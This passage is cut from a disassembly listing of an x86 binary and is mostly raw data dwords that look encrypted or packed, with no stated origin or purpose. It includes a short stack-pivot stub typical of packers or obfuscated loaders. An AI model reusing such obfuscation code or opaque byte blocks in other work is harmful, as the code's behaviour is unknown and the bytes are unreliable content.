		dd 6F03CC8h, 57DDA4E5h,	5FE5AD0Bh, 61EFB513h, 68F4B715h
		dd 5F2EA91Ch, 0F00156DCh, 0DBBEA281h, 0EAD98C18h, 9E1994D4h
		dd 0E87C95DBh, 32E82F22h, 138ACD63h, 9EEA3AFCh,	0F4744ABAh
		dd 0C9531B79h, 71C99813h, 0DAFC1994h, 0EEB10F8Ah, 0A551AF62h
		dd 0B4045407h, 8D0883FEh, 14B7FBEh, 0DA90E0F0h,	571DB97Ch
		dd 76C616C9h, 7B09CC2Ah, 83E5D9C8h, 87C4508h, 0CB513DB7h
		dd 5DCB9A15h, 0AAFA14FBh, 0E964DF5Ah, 0C241B1Ah, 3EF444F6h
		dd 148F1DE0h, 6E3DEEB6h, 0F60C24CFh, 3DF04090h,	8DEB37EDh
		dd 9C8B3ECAh, 0FCCB4622h, 0FC13D494h, 0E5113E01h, 0F67C7062h
		dd 96E147A6h, 0D285AED3h, 0B87Ch, 0FE9E4B00h, 49254B2h
		dd 0B915AB8h, 17B561BFh, 1AA66DCBh, 8AC3E4CEh, 93F13DC3h
		dd 97F541CBh, 99F743D1h, 8BFE4AD6h, 55F24110h, 8C6BF001h
		dd 9960BEA8h, 5866550Bh, 672716E5h, 0E838F60Ch,	0FC4E1D98h
		dd 45FC1994h, 0DE913BE7h, 0C33E8Eh, 0E02CB55Bh,	0B96C225Eh
		dd 0C00C985Bh, 5E119F62h, 52E7FA8Fh, 0AB26A168h, 526859DCh
		dd 0E0A80688h, 0E6A80656h, 9F55A558h, 0D49722FCh, 0DB9EFC48h
		dd 0C11F9A4Dh, 71C174F8h, 0BB15DBBh, 0AC32FA58h, 4AD29BF9h
		dd 0ED733997h, 7774CE71h, 0DBE640E3h, 0E2408C18h, 88DE911Fh
		dd 0Dh,	70C3920Dh, 0ED885268h, 4D03E79Dh, 8E2EDB69h, 2EBA7DDBh
		dd 0C9571D7Bh, 66F0B816h, 28E55B3h, 0A62AF14Fh,	43E995F3h
		dd 0E3693290h, 8210D230h, 0E5687ECFh, 89000052h, 5368242Ch
		dd 89000025h, 8E68243Ch, 89000057h, 0B850240Ch,	3E68341Eh
		dd 0A4F922BFh, 8BC701C7h, 0C4812404h, 4, 240C8B54h, 5304C483h
		dd 8BBh, 81EB8100h, 13C4D23h, 81C381CBh, 893C4D23h, 34FF5B3Bh
		dd 0C4815924h, 4, 51243C8Bh, 0C181E189h, 4, 8704C183h
		dd 0E95C240Ch, 0FFFA48C9h, 7D5FC523h, 334DB8A7h, 0C503060Dh
		dd 0FE1EE0FFh, 994A7A73h, 3D45B7Ch, 43763120h, 3AE10A84h
		dd 83BF00F8h, 55432CF5h, 93B115D0h, 3B975E5Dh, 3DA32D16h
		dd 0B0F2238Bh, 59963AB2h, 89B27230h, 0ACA34402h, 9DDF449Bh
		dd 2F595FDFh, 9D396F0Eh, 5B1F7CBFh, 0DFE93317h,	0C59138C5h
		dd 0C58915F4h, 52663100h, 14E84072h, 13000000h,	51711C12h
		dd 5E8D7698h, 0E771BA81h, 3EC211A2h, 0F814E0BCh, 6E95Bh
		dd 0A7960000h, 82AF4B68h, 5AF4C381h, 68FC0000h,	0
		dd 8EFC72BAh, 0CE815F51h, 0D491694h, 8B3B0C8Bh,	53C181C7h
		dd 81416B17h, 0B77F2DF1h, 69B8570Ah, 5A60BA58h,	14B4E981h
		dd 0B8665784h, 665140EDh, 48FD78Bh, 0E281663Bh,	0BF0F3569h
		dd 4EF83D2h, 0FF816DB0h, 0FFFFA588h, 0FFBE850Fh, 8166FFFFh
		dd 0EB95B5D0h, 8, 0C302EF00h, 4EAE940h,	0D7680000h, 0E9060D35h
		dd 0FFFA47C5h, 0D366C68h, 47BBE906h, 0E468FFFAh, 0E9060D37h
		dd 0FFFA47B1h, 0F5B01AEh, 1561EFB1h, 1A66EEB7h,	226E10BCh
		dd 2B77FDC4h, 20E72041h, 22EA4894h, 2CF2509Ch, 39FC5AA6h
		dd 71EC5FABh, 15393A2h,	9EDCCF0h, 0DD9014DBh, 0B530BC7Fh
		dd 34FA9457h, 5BABFBAEh, 546A59A5h, 6ECA9914h, 0F7FC1371h
		dd 7CE2CA7h, 681BA96Bh,	5F12C818h, 0B6DA190h, 0E56B32F0h
		dd 880ED432h, 0FD55F8D5h, 3812B5FEh, 0CA38A96Bh, 339E999h
		dd 106E0000h, 2105BB49h, 35CAFBBEh, 916B539Dh, 7C9422DBh
		dd 0DCAB2642h, 0FC1338B8h, 11E095E5h, 0F5769EB7h, 0B63A015Fh
		dd 0BBAD1100h, 0EC4AC540h, 99E99C2Ah, 6E516BCAh, 0EEA4F40Dh
		dd 71A7C91Fh, 73EE3E07h, 780A29F8h, 3530B69h, 13AB9A4Dh
		dd 510BDA55h, 1D0176BFh, 4060D3A2h, 0ADFD0D6Eh,	52CD1DF7h
		dd 3B279D7h, 6E400134h,	0BE0E5E0Dh, 0A705BB0Bh,	62DD58E4h
		dd 6E40A093h, 0B76DBD0Dh, 0BE4A0D6Bh, 78B2485Fh, 0D72DE0B9h
		dd 312h, 1B6705B2h, 216DFBBDh, 2672FAC3h, 26721CC8h, 277301C8h
		dd 14DB1C3Dh, 1EE64490h, 28EE4C98h, 2DF04E9Ah, 65E0539Fh
		dd 152A796h, 0F5D9B8F0h, 0C9A60BEh, 64530959h, 0C4930E5Ah
		dd 0FC199C15h, 0D75D2482h, 53AE8D5Ch, 5FAFF001h, 6F36940Fh
		dd 3DA366E1h, 0AA6B50E4h, 920D590Fh, 0C6937FCFh, 78F31537h
		dd 1648AA9h, 0CD83D3F0h, 22F1A86Fh, 0F0016413h,	0F9ACFC4Ch
		dd 164042Ah, 0E09CCF0h,	0EB16411Fh, 0F5B816CCh,	0C7A90867h
		dd 0ABDBAE8h, 27DB4h, 0F29A4700h, 0F88648A6h, 0FF854EACh
		dd 3A955B3h, 0E9259B7h,	76B7D8C2h, 77D521AFh, 7BD925AFh
		dd 85E32FB5h, 77EA36C2h, 510E2DFCh, 704FF001h, 9A60BE8Ch
		dd 5309590Ch, 930E5A64h, 6FCE9D18h, 7F60C67h, 71D6529Fh
		dd 0EB3B15CBh, 75B36635h, 94E4FC19h, 0BA2F12E1h, 0EBB4F001h
		dd 8850AE61h, 0CB6E4BFEh, 882B7473h, 81FE1AEh, 96799D1h
		dd 0BA0ABD43h, 19D8104h, 8B060000h, 18279BCh, 169C62F0h
		dd 5236EC3Ch, 0D98C18DBh, 571EB87Bh, 0B22D79C9h, 570D7437h
		dd 0CB5D270Ah, 0CF439FCh, 562B3DF6h, 0F1FE9576h, 2211C717h
		dd 6DFBBE9Ch, 0C9A5CBAh, 69B90959h, 57E11FEEh, 656FC13h
		dd 58BD8453h, 983BF00Bh, 6A2FF1BEh, 276F99CAh, 0F4000000h
		dd 9548CE96h, 4AAB8F45h, 0AA79F474h, 0FC13752Ah, 0A1702373h
		dd 0F00B6A9Eh, 0E9DB558h, 99CA3C4Ch, 0C28Ch, 18DBA800h
		dd 5ED98Ch, 99F7AD37h, 0E15423D2h, 7EF60C67h, 0CD2BDE2Eh
		dd 6DCB7E0Ah, 1124F3AAh, 0ADF60C67h, 0C675FDEh,	0D6B000F6h
		dd 1BEA3686h, 0F60C6C36h, 7CC85417h, 0BC37318Dh, 1614BFEDh
		dd 3F015FFCh, 0DDA0FEB1h, 0FC4C9C4Fh, 0A11C6C46h, 49857C43h
		dd 5B150C9Ah, 6FEA65B5h, 5FE9DA0h, 0E35221F0h, 7CF005FEh
		dd 0A402522Ch, 4F9F52DCh, 28EF4D99h, 407E3D9Ch,	671AAED1h
		dd 10511h, 6A12BF00h, 70FEC01Eh, 77FDC624h, 7B21CD2Bh
		dd 860AD12Fh, 0EE2F503Ah, 0EF4D9927h, 0F3519D27h, 0FD5BA72Dh
		dd 0EF62AE3Ah, 5096A574h, 0E8C7F001h, 66FBBE04h, 31ABB9A9h
		dd 965DBB71h, 9D60BE0Ah, 0DBDFC30Fh, 2AB87E18h,	6C927DAh
		dd 67BD804Fh, 52A2F60Ch, 0CDC48702h, 17CA0A7Eh,	0AD31E77Dh
		dd 0E78923EAh, 0C8F6E531h, 8F42D092h, 0A574EF3Fh, 0FC13842Ch
		dd 5CBA3585h, 48C30F95h, 1B3FFECDh, 0D020F00Bh,	1BE44B1Ah
		dd 2AEDF00Bh, 2C5239Eh,	0BD73C376h, 0C84C1371h,	68BF15h
		dd 4ADB0000h, 0FE79F474h, 0E534923Bh, 0F5AB573Dh, 19CD4F26h
		dd 9D50A0FCh, 19E27C3Fh, 0E86C3593h, 1A95E535h,	0BF7F4BCh
		dd 3F7B0A83h, 0EC3CEF3Fh, 0C98CEA36h, 79B9883Bh, 443AD7DFh
		dd 793C89A1h, 2142F1C0h, 0CB1BB6CFh, 6D20A46Dh,	2381CD1Dh
		dd 0C321D460h, 2EC27517h, 6326B38Bh, 682B89D5h,	3D329DCh
		dd 0EF000000h, 2EDB694Dh, 0BA7DDB8Eh, 571D7B2Eh, 0F0B816C9h
		dd 8E55B366h, 2AF14F02h, 0E995F3A6h, 69329043h,	10D230E3h
		dd 687ECF82h, 7A33h, 24048F54h,	4240481h, 81000000h, 4ECh
		dd 24048900h, 55F268h, 241C8900h, 50EB6852h, 555A6CBDh
		dd 0A32EECBDh, 5DEA295Fh, 0ED2CEA81h, 0D089070Ch, 4EC835Ah
		dd 81242489h, 42404h, 815B0000h, 4ECh, 240C8900h, 4B89C189h
		dd 1C8B5908h, 0E2895224h, 4C281h, 0C2810000h, 4, 5C241487h
		db 8Bh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5438DD
; ---------------------------------------------------------------------------
		dd 39BC6D50h, 0B92185E4h, 0C1532D40h, 0D390EB8h, 0FFC50306h
		dd 0C9390E0h, 3320C978h, 391BEF73h, 72CF6905h, 0CE63B735h
		dd 0BC817F3Ah, 94F6A036h, 80504901h, 8B7A0E5Fh,	0F4A70428h
		dd 97FE3B21h, 0DF7B715Dh, 6F5AB61Dh, 77B8234Fh,	790FCD04h
		dd 2FC24202h, 0B46BD41Dh, 5E857h, 54AC0000h, 66FC88B6h
		dd 5A3F94B9h, 0CB8A5060h, 0F5C98158h, 617A7DFFh, 5E2EC281h
		dd 12E90000h, 51000000h, 749A87ACh, 50935FFBh, 77204F1Ch
		dd 7DE24A94h, 0F4F4BE4Ch, 0C681716Ch, 8E932268h, 32FFFE8Bh
		dd 0C88B58F9h, 1354C081h, 59502B50h, 41F4E881h,	820F6CD3h
		dd 0Fh,	7E8h, 742F0400h, 272FCDBEh, 815B41B7h, 83099CF0h
		dd 0CB8B666Ah, 0EA830289h, 9E904h, 25650000h, 5175CA23h
		dd 83BAC554h, 850F01EEh, 0FFFFFFB2h, 2E880Fh, 0FE80000h
		dd 0D3000000h, 995D45h,	96D4AAE5h, 0A968D51Ch, 13E8B5E3h
		dd 0F7000000h, 471274B3h, 1AC5F48Bh, 408C77Bh, 0AC97F48Dh
		dd 5F5F2C8Dh, 3B9A8D8Dh, 6A060Dh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 8915E4C3h, 70A018Dh
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 9035E212h, 0FE950h, 0C3560000h, 38872AAFh
		dd 0D5926D76h, 3825D80Eh, 85C75F84h, 60714A5h, 6B14h, 0AB98589h
		dd 85C70607h, 6072FD5h,	0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0C3C35040h
		dd 892C7E8Ah, 71CE9B5h,	59B5FF06h, 6A060727h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 0DB4FC353h, 95FFA89Fh, 6071C19h, 13E9h, 9ECBB200h, 0E61B9E2Eh
		dd 0CDF7182Ah, 2A14D9EEh, 0EB08543Eh, 95FF006Ah, 6071B69h
		dd 0FEBC08Bh, 927F594Dh, 0BF9F881Fh, 9F806A31h,	53C07A27h
		dd 5DB13EE8h, 0ACF23256h, 55F201EEh, 0ABB13256h, 0D5B13256h
		dd 0EAE87736h, 75EBA12Ah, 0BAB13256h, 5DB13256h, 0AEB13256h
		dd 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h
		dd 0BAB13256h, 5DB13256h, 0AEB13254h, 57B63581h, 0ABAB3252h
		dd 0D5A83244h, 0EA9F325Bh, 77F63256h, 0B8F63256h, 0DE3F27Dh
		dd 0A1E36204h, 58E96867h, 0F1D05267h, 0B5803D0Eh, 0EAB139BFh
		dd 58F56556h, 9301C134h, 0B86D7DF8h, 0CF61B930h, 37E16A0Ch
		dd 61518930h, 0D5A5DBCAh, 0BFBD3256h, 0A449693Ch, 0B7150560h
		dd 54A1E194h, 6B8D1D58h, 0A631794Ch, 0ABBDDBB0h, 0A8653256h
		dd 93F1F124h, 40DD2DE8h, 0DB2C099Ch, 6E135FC0h,	0AA9576DFh
		dd 57BBDA36h, 4B3256h, 5277935Eh, 0C9E3EFE2h, 75A2DBCAh
		dd 0F6CE3256h, 652A98C3h, 4AC64447h, 7A2301Bh, 0D7DE7C1Fh
		dd 0BD78B353h, 39AB62Fh, 75B13250h, 7A55570h, 52C31E4h
		dd 0AEA5DBCAh, 221D3256h, 5A29495Ch, 0F8F56580h, 0C301C134h
		dd 906D7DF8h, 4A3059ECh, 3C9CC9D0h, 0AEB13EBFh,	452C4656h
		dd 0F528D2B5h, 0BFE43E69h, 0B2D0AF0Dh, 4CB1B164h, 4F9DED28h
		dd 5659C9DCh, 79B13256h, 24539F92h, 649F9B66h, 0B4E9570Ah
		dd 34E96A0Ch, 9F64BEE9h, 0B5E9688Dh, 0B4E36267h, 0AEB13251h
		dd 0D938A205h, 0A4F48EF9h, 0DAE36267h, 0B0E96867h, 2DE9680Eh
		dd 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h
		dd 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h
		dd 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h
		dd 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h
		dd 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h
		dd 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h
		dd 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h
		dd 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h
		dd 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h
		dd 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h
		dd 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h
		dd 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h
		dd 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h
		dd 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h
		dd 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h
		dd 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B1DA36h
		dd 3BEB3256h, 508F5FBCh, 0A934BF50h, 0DEB73EDFh, 0A68AF1D4h
		dd 0F633BF50h, 63B73F81h, 788AF5D4h, 0B3FFDA50h, 26593256h
		dd 69B13256h, 5A8A81D4h, 0ABB13250h, 50776056h,	0ECB62773h
		dd 0CDE35A00h, 0F4EAEFEh, 5BB62EEBh, 0DE45B7DBh, 874E345Ch
		dd 8DF0B7DFh, 0D1DB3451h, 0EAA1323Eh, 78F15A56h, 0BADB3255h
		dd 56EBE2A9h, 27824696h, 5A8A81D4h, 1C33BB50h, 6CB73F6Dh
		dd 0EAB23F16h, 0B582CADDh, 0D0E398A5h, 4DB15A52h, 0AED93256h
		dd 3DB13252h, 0EA23CD56h, 8FB73570h, 0D6B6B0DFh, 0FED0345Bh
		dd 0B78A81D3h, 9AD1F150h, 0A9ABA7D4h, 17B13250h, 0FA33F556h
		dd 0D5B73555h, 8BB13246h, 0CF3A5295h, 0BCBC09E5h, 29B10DD5h
		dd 0BECEB175h, 0D4BA4654h, 0DFB52229h, 0C176B158h, 0AD76D8BDh
		dd 75B13346h, 7D43D956h, 5DB22211h, 475A3256h, 0DCE4F137h
		dd 0AB5952BAh, 8FB13256h, 0D5D3D8D7h, 0C73A345Bh, 0BCBC0E5Dh
		dd 0D4B977DDh, 0A533B150h, 53B73F6Ah, 0AF73FB37h, 0D5595256h
		dd 0B0B13256h, 4A37D8D7h, 83A345Bh, 5BBC0E51h, 92BA806Dh
		dd 6CC5345Bh, 743A0CDDh, 0D4FE8459h, 6AB075A0h,	0ACB23623h
		dd 639A30BDh, 0D83A7115h, 0A8B63C4Fh, 5684BFDDh, 738A3451h
		dd 0C8A3B24h, 2C323721h, 4E78D952h, 33B94699h, 5AB007EBh
		dd 0CF06D950h, 57595295h, 0F1B13256h, 0EA6FD8D7h, 503A345Bh
		dd 73BC0E51h, 0BAB032EFh, 0AE710156h, 0A933B9FDh, 0DEB73F6Ah
		dd 0A68D39D4h, 0B5725350h, 0EAB132BEh, 9F306856h, 0BCBC725Eh
		dd 4894B790h, 0C6E73451h, 83AE5F6Fh, 0B70C87A9h, 503C3451h
		dd 0ECBB42A2h, 25E3E2A9h, 0BA31323Eh, 0A2B15856h, 0A38A81E4h
		dd 0F61CD50h, 2BB15A0Ch, 0D5DB3256h, 0D6B680A9h, 0A54E345Bh
		dd 31E4F137h, 5D5952BAh, 0F4B13256h, 17E7D8D7h,	0DE3A345Bh
		dd 0D729DA5Eh, 15E43256h, 788AF1C4h, 0CF8A6F50h, 0B55F475Ah
		dd 0AEB130D0h, 5F73FB37h, 473A6756h, 834DF6D5h,	0EA596101h
		dd 2FB13256h, 0FA3BD8D7h, 283A345Bh, 0BECCB95Eh, 60596401h
		dd 0A0B13256h, 5E904696h, 784E67AEh, 73BC0995h,	0B6C4090Bh
		dd 0D6D72022h, 5E56B248h, 0B4312CDCh, 0AD2CDAA6h, 15A3256h
		dd 24D4FDFh, 8A4ECC0Bh,	31EF6D0Dh, 9F78CE13h, 25E4325Ah
		dd 0AF75B1BAh, 0F8E06401h, 0D5497791h, 2DB13256h, 788AC1D4h
		dd 0BAB13350h, 55C4B956h, 25AFB930h, 5A8A81ECh,	0A3EEB950h
		dd 0DAC5E95Dh, 0ECC4EC6Dh, 0FCBD6FDDh, 7D323E09h, 3B5BD942h
		dd 55312CDDh, 99353DBEh, 2BB13256h, 51BEDBADh, 0EAB13293h
		dd 7A5AC9D6h, 0BAB18ED2h, 0BF4AB256h, 0AE1DB659h, 0AC313256h
		dd 31353DB5h, 0B3B13256h, 9D6C9D7h, 7529B659h, 5D313256h
		dd 0A63054A6h, 2ABEB259h, 57B132C7h, 2B41D1D6h,	51BE42ADh
		dd 0EAB132D3h, 0F5AFB930h, 4131CAB5h, 0DDF346EEh, 93C53768h
		dd 239C0CD6h, 0C38FB26Eh, 574E0122h, 0ECBC09A5h, 0F5AFB930h
		dd 3BD7CAB1h, 2959B3ADh, 0B03A5476h, 3141D5D6h,	6B30C9D7h
		dd 80D12122h, 0D172A0A9h, 0FCEC345Bh, 39D0CE13h, 28B0CE2Bh
		dd 3B0BB935h, 7B7354Ch,	9042B0DDh, 0E988345Bh, 0BAC36A66h
		dd 76E088DDh, 31E13451h, 508AC1D4h, 9E8D0B50h, 0BC8C4D0Eh
		dd 53F4F546h, 0D5B13254h, 0AF7635BDh, 75B133AEh, 90BB956h
		dd 0D6B73F6Dh, 0DA6A3949h, 226F0949h, 0A7ECB959h, 0D5494FD5h
		dd 0B7B23122h, 71EEBBAEh, 51A5F5D5h, 0B47101B4h, 0AEB13296h
		dd 0DCAFB930h, 50313E2Bh, 55BB46BDh, 1131C2B5h,	9EA74626h
		dd 53B6F464h, 5DB07591h, 25B13256h, 5271B191h, 0ABB1A5BFh
		dd 0D2765456h, 0F43B3A59h, 0F5BED1D6h, 0E539B29Dh, 5FF6F557h
		dd 0AEB13256h, 9732F5DDh, 0CDC8D950h, 45210CD7h, 0D4313D22h
		dd 13BF47C6h, 2A4E4CD7h, 0B6B346C6h, 4576B952h,	5833BF09h
		dd 0FBB73F6Ah, 1223CD00h, 0E1B73F6Dh, 0FEBB4696h, 0B503BF9Eh
		dd 0B6B73F6Ah, 603A6446h, 9423CD03h, 0F6B73F6Dh, 0C46FC7Dh
		dd 12CCB108h, 0C5A14757h, 2D7981Fh, 0F6D7B759h,	0AFF78459h
		dd 0D4AAD9FDh, 0DEB3CA2Bh, 0DE095445h, 8C1A549Fh, 13353DEEh
		dd 0FC073DFDh, 5F5A9957h, 693A96A5h, 8EF6B0Dh, 0ABB9F09Fh
		dd 0B55DB903h, 0EAB132BEh, 9F306856h, 0BCBC70BEh, 0D4B977DDh
		dd 0A38A89D4h, 95785350h, 20E43252h, 2D75B1BAh,	0EAB1DA36h
		dd 0F4EB3256h, 0B7F23BBCh, 0A5F4F550h, 0AEB13256h, 574D7791h
		dd 98B13256h, 0CB3A5496h, 0D142B091h, 75B0345Bh
		dd 3BD73256h, 2821A2ADh, 464AB256h, 56B9B659h, 2BF13256h
		dd 51BEDBADh, 0EAB132A8h, 9E4AB216h, 0BA45B659h, 0DDF13256h
		dd 2FD7C2B1h, 58313DADh, 0ABB1D7D2h, 0B0333156h, 0AAB73548h
		dd 7A53C9D6h, 0BAB1FCD2h, 0BE4AB256h, 0AE0DB659h, 0D6D73256h
		dd 0A45255ADh, 0D5B188D2h, 1A52B256h, 7AC1C9D6h, 0BAB187D2h
		dd 433A5456h, 2E49D1D6h, 10C58AADh, 0DFB40CD6h,	0F88FB214h
		dd 0D4310F22h, 3589463Eh, 8142B0A9h, 0D6D7345Bh, 5656B248h
		dd 0D64AB330h, 0CD9546BEh, 32312CDDh, 113054A6h, 62C5F2D7h
		dd 284E6736h, 5BBC0995h, 52F4BB0Bh, 0ABCCB137h,	83343D57h
		dd 5EB13257h, 0EDABA7ECh, 0F73A6250h, 0BCBC09A5h, 5810E6Fh
		dd 0AFA0B059h, 0ED3A3256h, 0ADB63107h, 2633B906h, 0D3B73F6Dh
		dd 7AE9026Ah, 0BAB1C8D9h, 0EA0BB956h, 2DB73F6Dh, 5A8A85D4h
		dd 9C382650h, 85A175DFh, 0D142B0DDh, 693A345Bh,	0E5386A66h
		dd 5D64DB5Eh, 0EB763256h, 57B130AEh, 6CB6D956h,	0D5B0CA13h
		dd 503A3256h, 73BC09E1h, 8106B0D5h, 0D4A5345Bh,	0BEF6BB61h
		dd 22B2CAD5h, 5833F55Ah, 0D7B73F6Dh, 1B13256h, 7749B153h
		dd 0C7326D2Bh, 46C532AEh, 0AFF78459h, 57B1B2FFh, 0EBB74756h
		dd 3EB4DAD5h, 0EA4E1F5Eh, 9D323256h, 0E9BAD953h, 6642A8DDh
		dd 0AA3A345Bh, 57186965h, 0DE313256h, 56773142h, 68B23796h
		dd 73BC09A5h, 0B2F6BB1Eh, 0B6BD75DFh, 8569C500h, 0D469C590h
		dd 29B23796h, 0D3BC09A5h, 0E2F6BB1Eh, 9EBD75DFh, 30710168h
		dd 0DD193310h, 68B21323h, 0ECB3F2D5h, 0ABB13257h, 0DCC5E95Dh
		dd 8745A8DCh, 9631345Ah, 33723157h, 1A383A11h, 59A5D95Ah
		dd 574E178Eh, 6D9A3256h, 1532EAA1h, 0E2F6BB54h,	8DBD75DFh
		dd 0EF72FB37h, 9932DEDDh, 0AE5952AAh, 0DB13256h, 0EEABD8D7h
		dd 6F3A345Bh, 0ECBC09E5h, 4A32FB65h, 78353D56h,	0D6B13256h
		dd 0A2C4CD51h, 7B947A9h, 0ABB041BEh, 56B44156h,	85A2691h
		dd 8A4D77DFh, 0CF4E3E23h, 0B586CD5Eh, 0AEB1330Ah, 5726B059h
		dd 0EE3A3256h, 0DAB60BAAh, 0EAB1BED4h, 89F4CD56h, 0BAB54DD5h
		dd 22323A22h, 0ACC5325Ah, 0A8093CBDh, 124ECDA9h, 0D5B13253h
		dd 295A99A5h, 70A14DD5h, 0C5323D22h, 4CC43446h,	0AAF6B917h
		dd 0BCBD6DDDh, 0AFF6B915h, 3EBD6DDDh, 0EEF6B96Fh, 4EBD6DDDh
		dd 0AFC43A09h, 59E6B904h, 0ADA1677Dh, 83A2603h,	286B195Ah
		dd 3EEB37BDh, 0EEF6B944h, 5EBD6DDDh, 51323609h,	143B3153h
		dd 2DB73542h, 22B22229h, 729A7357h, 0D4B06EDFh,	154ECDEEh
		dd 75B48BA9h, 11423256h, 0A24E64BFh, 6C7853A9h,	0DCE43246h
		dd 5775B1BAh, 0D5B1DA36h, 6BEB3256h, 78F737BCh,	90BB950h
		dd 6EB73F6Dh, 0AE8EB19Fh, 5720B659h, 0AC3A3256h, 2ABD47A9h
		dd 2E13A23h, 75B132DEh,	7D323725h, 0D453D942h, 0DB4ECE13h
		dd 5FC4CD5Ah, 0DA5905A9h, 0A7B13256h, 16F4B93Ch, 16C3356Fh
		dd 394D77A9h, 29B13629h, 0A2CEB15Eh, 0BCB34656h, 544E8A58h
		dd 0D008CDA9h, 19B13256h, 0F67AD9FDh, 0CEB42229h, 4DCEB159h
		dd 0EFA04750h, 0DCB575DDh, 0B65A3E09h, 5EB575DDh, 0F95A3E09h
		dd 0FEB575DDh, 0E59A3E09h, 585AB152h, 0ADA14DD5h, 7CF03323h
		dd 0AAEDBB8Fh, 2A4E8A57h, 0EF08CDA9h, 86B13256h, 0DB36D9FDh
		dd 5DB9F09Fh, 0CE5DB903h, 6CB977DDh, 0A3C33E13h, 0A2A1776Dh
		dd 0E95ACA55h, 14B1D9AFh, 0BABDF09Fh, 0DE5DB903h, 46D1CE92h
		dd 57B13256h, 705BB30Ch, 0E6B73F10h, 636A019Fh,	0CF3ACE0Bh
		dd 0BCBC09E5h, 29B10DD5h, 518EB132h, 90323723h,	2840D942h
		dd 0A1B13629h, 0E6CEB15Eh, 9EB34656h, 46F4CD5Eh, 0B6A5F5D5h
		dd 0BECEB18Dh, 0D4BE4653h, 0DEB72229h, 923A7347h, 0E6EEB952h
		dd 323A2FBDh, 0B6EEB952h, 1A3A21BDh, 0A2EEB952h, 0D4B56D7Dh
		dd 0D43237BDh, 0D4C43146h, 63681917h, 0CDB0330Ah, 454ECDA9h
		dd 5DB137EFh, 451AC156h, 123A53C1h, 0FB72FBAAh,	0D5596107h
		dd 0B0B13256h, 32D7D8D7h, 203C345Bh, 5BBC099Dh,	0AEB156EEh
		dd 5763DA56h, 0A03A3256h, 0C15AF36Dh, 0D1B57955h, 76A64097h
		dd 7B8A221Dh, 5F5A3024h, 0BC5A26BDh, 0FB21A8DBh, 784E345Bh
		dd 4F3C3ABDh, 0ECBC9DE0h, 2CEAE1A9h, 31E4F10Eh,	5DB1DABAh
		dd 2FEB3256h, 5AF687BCh, 113C5250h, 0D3BC099Dh,	63B977DDh
		dd 79F4B951h, 31B575DFh, 1A382213h, 0BAF4B95Ah,	36A175DFh
		dd 0ABA1F09Fh, 0F034F436h, 0ADB73543h, 62C2283Eh, 704CDFEh
		dd 0D0B7354Ah, 0A4C1C6D3h, 561CD50h, 9046B8DBh,	2AE0345Bh
		dd 683C6886h, 73BC09A1h, 0B6F18559h, 52E3EADDh,	6DB26867h
		dd 4270B0DFh, 0C3D03451h, 0E85251h, 5A000000h, 4826EA81h
		dd 8B52060Dh, 715C182h,	4E6DB906h, 0E1F741C6h, 3039055Ah
		dd 0FF250000h, 897FFFFFh, 715C182h, 0C3595A06h,	0E85251h
		dd 5A000000h, 4856EA81h, 0C88B060Dh, 0FFFFBBE8h, 0F7D233FFh
		dd 5AC28BF1h, 0C08BC359h, 858DC08Bh, 60D3E67h, 8B66D0FFh
		dd 1F858DC1h, 89060D48h, 70BA985h, 4F858D06h, 89060D48h
		dd 7300D85h, 0B806h, 0C00B0000h, 47840Fh, 85C60000h, 6071525h
		dd 30DF6856h, 0B5FFA9C5h, 6071CBDh, 70F4858Dh, 0D0FF060Ah
		dd 558D8D50h, 51060732h, 68046Ah, 0FF000010h, 7166DB5h
		dd 8BD0FF06h, 7166DBDh,	3C7F0306h, 0F8C781h, 47C70000h
		dd 2024h, 0C59D8D60h, 8B060720h, 0FC00B03h, 584h, 89008B00h
		dd 0F6B90443h, 8D00234Ch, 0D49C38Dh, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 28929EE7h
		dd 9D895215h, 6071E21h,	0A018D89h, 0C38A0607h, 14A585C7h
		dd 726C0607h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 31ACE2C3h, 73021B5h, 11E906h, 0D7520000h
		dd 24E14DF3h, 0F53EAD5Bh, 15168D3Eh, 0C76585B0h, 72FD585h
		dd 6, 6AD28000h, 214DB5FFh, 95890607h, 6072E35h, 1C1995FFh
		dd 6A0607h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 0DB8667C3h, 0B3FCC944h, 0FF006AAEh, 71B6995h
		dd 0EBC08B06h, 0DEBD251Bh, 0F155FE07h, 9B6A7Ah,	19A18357h
		dd 88CD4102h, 98D2F13Dh, 581E8B41h, 0B67F08EBh,	6E44h
		dd 7EE90000h, 6800000Bh, 60D4B6Dh, 0FAF9FBE9h, 4C9A68FFh
		dd 0F1E9060Dh, 68FFFAF9h, 60D4E3Ch, 0FAF9E7E9h,	4F3068FFh
